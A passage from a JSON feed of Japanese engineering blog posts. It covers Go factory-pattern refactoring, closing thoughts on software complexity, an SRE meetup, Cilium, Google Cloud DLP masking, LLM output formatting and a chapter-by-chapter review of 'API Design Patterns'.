validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\\"failed to configure product: %w\\", err) } if !f.validateProduct(product) { return nil, errors.New(\\"product validation failed\\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"高度情報の午前Ⅱ試験を解くならこのサイト","link":"https://shu-kob.hateblo.jp/entry/2024/08/24/225803","contentSnippet":"もうすぐ9月。秋の情報処理技術者試験も近づいてますね。私はプロジェクトマネージャ試験を受けるので頑張らねば。応用情報午前試験の過去問アプリはたくさんあるのですが、高度情報はないですよね。IPA公式の過去問をPDFで開かずとも、スマホで気軽に過去問演習したいところ。そこで、高度情報の午前Ⅱ試験を解くならこのサイトをご紹介したいと思います。情報処理技術者試験の勉強(過去問題)をやり直し過去問を1問1答形式で時進められます。全ての高度情報に対応しています。こちらを活用して、午前Ⅱは余裕で通過できるようにしておきましょう1","isoDate":"2024-08-24T13:58:03.000Z","dateMiliSeconds":1724507883000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake SRE Tech Talk #10無事終了。英語は大事w","link":"https://shu-kob.hateblo.jp/entry/2024/08/23/231736","contentSnippet":"3-shake.connpass.comshu-kob.hateblo.jp初のオンサイト開催となる3-shake SRE Tech Talk #10無事終了しました。詳しいことは後日書くとして、私は誘導係をしました。会場となったGoogleさんの渋谷オフィスは渋谷ストリームという新しい建物にあるのですが、エントランスの長いエスカレータの下で誘導していたら外国人2組に道を聞かれました(笑)スリーシェイクTシャツ着て立っていたから、建物の係りの人と思われた?1人目の方には、スマホを見せられ、渋谷ストリーム内の串カツ屋の場所を聞かれました。飲食店マップがあったので、3Fか4Fにあるみたい、と拙い英語で説明w2組目の二人には、スマホを見せられ、半蔵門線渋谷駅の場所を聞かれました。エスカレータを指差し、「(エスカレータを)Down, Purple is Line Color.(半蔵門線のラインカラーは紫)」とまた拙い英語で説明したら、「ありがと!(Arigato)」とお礼を言われました。面白い経験をするとともに、Googleの音声翻訳など便利なものを使えばよかったと思いました。今後はもうちょっとまともな英語を答えられるよう頑張るぞ!","isoDate":"2024-08-23T14:17:36.000Z","dateMiliSeconds":1724422656000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium L2 Announcement を使ってみる","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10","link":"https://shu-kob.hateblo.jp/entry/2024/08/22/214001","contentSnippet":"shu-kob.hateblo.jp以前も書きましたが、2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10 です。初のオンサイト開催!(オンラインも併用)18:30からGoogle Cloudさんの渋谷オフィスで行います。無料の懇親会もあります。オンサイトは定員40人のところ、前日の8月22日21:36現在、37人と、3人の空きがあります。タイムテーブルはこちら株式会社Topotal 菱田 健太氏「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」株式会社スリーシェイク 阿部貴晶「LLMのO11yに触れる」グーグルクラウドジャパン合同会社 中谷 祐輔氏「スポンサーセッション」弊社スリーシェイクからは「LLMのO11yに触れる」というテーマで、生成AIのオブザーバビリティの話があります。私も会場誘導係として、参加予定です。生成AIに興味ある方もぜひご参加ください。","isoDate":"2024-08-22T12:40:01.000Z","dateMiliSeconds":1724330401000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud DLP(Data Loss Prevention)を使ってデータのマスキングしてみた","link":"https://shu-kob.hateblo.jp/entry/2024/08/21/230415","contentSnippet":"DLP(Data Loss Prevention)とは?DLP(Data Loss Prevention)は、直訳で「データ損失防止」を意味し、企業や組織が保有する機密データや個人情報などの漏えいを防止するための仕組み、またはそのプロセス全体を指します。DLPの目的は、以下の通りです。機密データの特定: 個人情報、クレジットカード番号、社会保障番号など、企業にとって重要なデータを特定します。データの分類: 特定されたデータを、機密レベルや種類などに応じて分類します。データの保護: 分類されたデータに対して、アクセス制限、暗号化、匿名化などの適切な保護策を施します。データ漏えいの検出: データ漏えいが発生した場合、早期に検出し、その原因を特定します。Google CloudでDLPを使用してみたGoogle Cloud Storage上にある個人情報を含むテスト用テキストデータを用意し、下記記事の通り、コンソール上だけで個人情報のマスキングができました!便利!ops.jig-saw.comGeminiだけだとプロンプトを工夫してもマスキングはしてくれなかったので、DLPと併用しましょう。なお、要約文中に個人情報を入れるな、というプロンプトは言うことを聞いてくれました。","isoDate":"2024-08-21T14:04:15.000Z","dateMiliSeconds":1724249055000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"生成AIの出力形式を指定する","link":"https://shu-kob.hateblo.jp/entry/2024/08/20/235853","contentSnippet":"生成AIでの出力をプログラムで次の処理に使いたいときありますよね。そういうときは、正規化が必要だったりします。例えば、プロンプトでJSON形式で出力するように指定して、見本の形式も添えておけば、JSON形式で出力され、次の処理でとても使いやすくなります。","isoDate":"2024-08-20T14:58:53.000Z","dateMiliSeconds":1724165933000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design 